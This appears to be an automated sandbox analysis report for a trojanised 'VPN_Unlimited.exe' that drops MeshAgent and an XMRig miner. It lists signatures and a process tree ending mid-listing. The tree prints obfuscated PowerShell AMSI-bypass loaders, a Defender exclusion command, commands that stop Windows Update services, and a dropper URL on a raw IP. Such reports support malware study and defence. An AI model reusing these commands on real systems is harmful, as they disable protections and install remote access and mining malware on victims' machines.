Analysis

  • max time kernel
    71s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-10-2024 17:53

Errors

Reason
Machine shutdown

General

  • Target

    VPN_Unlimited.exe

  • Size

    160.3MB

  • MD5

    cda8e081075e3bb304e8d63d969d9532

  • SHA1

    a11b9cb322ab78c6ffa2543d9233b6ab77896f6d

  • SHA256

    306acb2f7180dba3d077f0ab2ca0d22236c62e713c34533817c1814465eaa133

  • SHA512

    fff3f289601cbb13fe8ffcfd81c1c9542994773f14a026a05621ecce609ac9dc82dce85f4371e3e62b38981ec30c4bfac30e6e434947261c328806e83415230c

  • SSDEEP

    3145728:HyZCu90UFTdwRHjT2ZF0CzHdi89oBunWaCtnbp2q6s/rDLiIpvJ1:H4lFTduuZFlH7WaCtl2q6KjiIpvn

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://46.8.227.16/uploads/meshagent32-mesh.png

Signatures

  • Detects MeshAgent payload 1 IoCs
  • MeshAgent

    MeshAgent is an open source remote access trojan written in C++.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 6 IoCs
  • Stops running service(s) 4 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 16 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 15 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 37 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 23 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:588
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:388
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{612eb77d-10c6-4693-ad9d-5e4fea02c350}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2296
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{de06eec6-4818-43a6-8102-f6057e43f84d}
          2⤵
            PID:2576
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 2576 -s 300
              3⤵
              • Checks processor information in registry
              • Enumerates system info in registry
              PID:5732
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa3877855 /state1:0x41c64e6d
            2⤵
              PID:5208
          • C:\Windows\system32\lsass.exe
            C:\Windows\system32\lsass.exe
            1⤵
              PID:672
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
              1⤵
                PID:956
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                1⤵
                  PID:412
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                  1⤵
                    PID:1044
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1080
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                      1⤵
                        PID:1088
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                        1⤵
                          PID:1232
                          • C:\Windows\system32\taskhostw.exe
                            taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                            2⤵
                              PID:3132
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:QPlaGzHWjLcR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$BMXRzteBckOpTX,[Parameter(Position=1)][Type]$JXiAwYLqeX)$ZQmIRIErBvx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+'te'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+[Char](101)+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+'al'+'e'+''+[Char](100)+''+','+'A'+'n'+''+'s'+''+[Char](105)+''+'C'+'l'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$ZQmIRIErBvx.DefineConstructor(''+'R'+''+[Char](84)+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+'Na'+'m'+''+[Char](101)+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+'By'+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c',[Reflection.CallingConventions]::Standard,$BMXRzteBckOpTX).SetImplementationFlags('R'+[Char](117)+'nti'+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+'na'+'g'+'e'+[Char](100)+'');$ZQmIRIErBvx.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+','+'H'+[Char](105)+''+'d'+'e'+'B'+'y'+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l',$JXiAwYLqeX,$BMXRzteBckOpTX).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+'t'+''+'i'+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+'a'+'ge'+[Char](100)+'');Write-Output $ZQmIRIErBvx.CreateType();}$hQGrnCdJuPRRg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+'cros'+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'i'+[Char](110)+'3'+[Char](50)+'.'+[Char](85)+''+'n'+'sa'+'f'+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+'ds');$mQNbVLcLjBmxyo=$hQGrnCdJuPRRg.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+'d'+'r'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+'t'+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TNcOBUIdmRFsSTinVUr=QPlaGzHWjLcR @([String])([IntPtr]);$zospZadJqnkWsEueYDLQvo=QPlaGzHWjLcR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MFEtruaBHQH=$hQGrnCdJuPRRg.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'nd'+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+''+'e'+'l'+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$LEOgUncfrZovMV=$mQNbVLcLjBmxyo.Invoke($Null,@([Object]$MFEtruaBHQH,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$mrUPbrlIgIhHbOhCm=$mQNbVLcLjBmxyo.Invoke($Null,@([Object]$MFEtruaBHQH,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tu'+[Char](97)+''+'l'+''+'P'+'r'+'o'+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$FKbeRAT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LEOgUncfrZovMV,$TNcOBUIdmRFsSTinVUr).Invoke('a'+'m'+''+[Char](115)+'i'+[Char](46)+'d'+'l'+''+[Char](108)+'');$zpIZuOuqcTLrGSonr=$mQNbVLcLjBmxyo.Invoke($Null,@([Object]$FKbeRAT,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+'Sc'+[Char](97)+''+'n'+''+'B'+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$RmipKWjnBT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mrUPbrlIgIhHbOhCm,$zospZadJqnkWsEueYDLQvo).Invoke($zpIZuOuqcTLrGSonr,[uint32]8,4,[ref]$RmipKWjnBT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zpIZuOuqcTLrGSonr,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mrUPbrlIgIhHbOhCm,$zospZadJqnkWsEueYDLQvo).Invoke($zpIZuOuqcTLrGSonr,[uint32]8,0x20,[ref]$RmipKWjnBT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+''+'T'+''+[Char](87)+'A'+'R'+'E').GetValue(''+'d'+'ial'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                              2⤵
                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Suspicious use of SetThreadContext
                              • Modifies data under HKEY_USERS
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1160
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                3⤵
                                  PID:3980
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:QJOzQXTiFAdM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ruwEGUhqjZAFIF,[Parameter(Position=1)][Type]$QRZlvRhkQG)$yadUPoSZyqT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+'e',$False).DefineType('My'+[Char](68)+''+[Char](101)+'leg'+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+'las'+[Char](115)+''+[Char](44)+''+'P'+''+'u'+'bl'+[Char](105)+'c,'+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$yadUPoSZyqT.DefineConstructor(''+'R'+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+'i'+''+'a'+''+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+','+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'Si'+'g'+''+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ruwEGUhqjZAFIF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+'ed');$yadUPoSZyqT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+'ig'+[Char](44)+''+[Char](78)+'e'+'w'+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+'',$QRZlvRhkQG,$ruwEGUhqjZAFIF).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+'Ma'+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $yadUPoSZyqT.CreateType();}$sTQhbspeOWffW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+[Char](116)+''+[Char](101)+'m'+'.'+'d'+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+'W'+'i'+'n32'+'.'+''+[Char](85)+'n'+'s'+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+'ti'+'v'+'eM'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$qqybKaIYIHQIQm=$sTQhbspeOWffW.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](80)+'ro'+[Char](99)+''+'A'+''+'d'+''+[Char](100)+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](116)+''+'a'+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vwtstPMcRClnUceIyst=QJOzQXTiFAdM @([String])([IntPtr]);$fFCsZzkQJPKvgRTLvVUyqg=QJOzQXTiFAdM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$itEwBtHWCDt=$sTQhbspeOWffW.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e'+'H'+'a'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('ke'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.d'+[Char](108)+''+'l'+'')));$XJEAwmdYEOoOTP=$qqybKaIYIHQIQm.Invoke($Null,@([Object]$itEwBtHWCDt,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+'ar'+[Char](121)+''+[Char](65)+'')));$AYIPxHKAnWFHgBBLn=$qqybKaIYIHQIQm.Invoke($Null,@([Object]$itEwBtHWCDt,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$pshzKNz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XJEAwmdYEOoOTP,$vwtstPMcRClnUceIyst).Invoke('amsi'+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'');$mJnmKXebqEHOKndpG=$qqybKaIYIHQIQm.Invoke($Null,@([Object]$pshzKNz,[Object](''+'A'+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$cXEIJdurFL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AYIPxHKAnWFHgBBLn,$fFCsZzkQJPKvgRTLvVUyqg).Invoke($mJnmKXebqEHOKndpG,[uint32]8,4,[ref]$cXEIJdurFL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mJnmKXebqEHOKndpG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AYIPxHKAnWFHgBBLn,$fFCsZzkQJPKvgRTLvVUyqg).Invoke($mJnmKXebqEHOKndpG,[uint32]8,0x20,[ref]$cXEIJdurFL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue('d'+[Char](105)+'a'+'l'+''+[Char](101)+''+[Char](114)+'st'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                                2⤵
                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                • Command and Scripting Interpreter: PowerShell
                                • Drops file in System32 directory
                                • Suspicious use of SetThreadContext
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4608
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  3⤵
                                    PID:4680
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                1⤵
                                  PID:1240
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                  1⤵
                                    PID:1292
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                    1⤵
                                      PID:1308
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                      1⤵
                                        PID:1332
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1432
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                          1⤵
                                            PID:1480
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                            1⤵
                                              PID:1496
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                              1⤵
                                                PID:1536
                                                • C:\Windows\system32\sihost.exe
                                                  sihost.exe
                                                  2⤵
                                                  • Modifies registry class
                                                  PID:696
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                1⤵
                                                  PID:1656
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                  1⤵
                                                    PID:1680
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                    1⤵
                                                      PID:1728
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1796
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                        1⤵
                                                          PID:1824
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                          1⤵
                                                            PID:1936
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                            1⤵
                                                              PID:1948
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                              1⤵
                                                                PID:1972
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                1⤵
                                                                  PID:2004
                                                                • C:\Windows\System32\spoolsv.exe
                                                                  C:\Windows\System32\spoolsv.exe
                                                                  1⤵
                                                                    PID:1724
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:2188
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                      1⤵
                                                                        PID:2224
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                        1⤵
                                                                          PID:2336
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                          1⤵
                                                                            PID:2348
                                                                          • C:\Windows\System32\svchost.exe
                                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                            1⤵
                                                                              PID:2424
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                              1⤵
                                                                              • Drops file in System32 directory
                                                                              • Modifies data under HKEY_USERS
                                                                              PID:2544
                                                                            • C:\Windows\sysmon.exe
                                                                              C:\Windows\sysmon.exe
                                                                              1⤵
                                                                                PID:2660
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                1⤵
                                                                                  PID:2668
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                  1⤵
                                                                                    PID:2680
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                    1⤵
                                                                                      PID:2704
                                                                                    • C:\Windows\system32\wbem\unsecapp.exe
                                                                                      C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3004
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                        1⤵
                                                                                          PID:3092
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                          1⤵
                                                                                            PID:3204
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                            1⤵
                                                                                              PID:3368
                                                                                            • C:\Windows\Explorer.EXE
                                                                                              C:\Windows\Explorer.EXE
                                                                                              1⤵
                                                                                              • Modifies registry class
                                                                                              PID:3452
                                                                                              • C:\Users\Admin\AppData\Local\Temp\VPN_Unlimited.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\VPN_Unlimited.exe"
                                                                                                2⤵
                                                                                                • Checks computer location settings
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3980
                                                                                                • C:\Users\Admin\AppData\Local\Temp\jgt.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\jgt.exe"
                                                                                                  3⤵
                                                                                                  • Drops file in Drivers directory
                                                                                                  • Executes dropped EXE
                                                                                                  • Drops file in System32 directory
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  PID:3380
                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                    4⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:4420
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                    4⤵
                                                                                                      PID:4752
                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                        5⤵
                                                                                                          PID:3048
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                        4⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:3968
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                        4⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:3480
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        C:\Windows\system32\sc.exe stop wuauserv
                                                                                                        4⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:512
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        C:\Windows\system32\sc.exe stop bits
                                                                                                        4⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:2240
                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                        C:\Windows\system32\sc.exe stop dosvc
                                                                                                        4⤵
                                                                                                        • Launches sc.exe
                                                                                                        PID:4296
                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                        4⤵
                                                                                                        • Power Settings
                                                                                                        PID:2924
                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                        4⤵
                                                                                                        • Power Settings
                                                                                                        PID:1416
                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
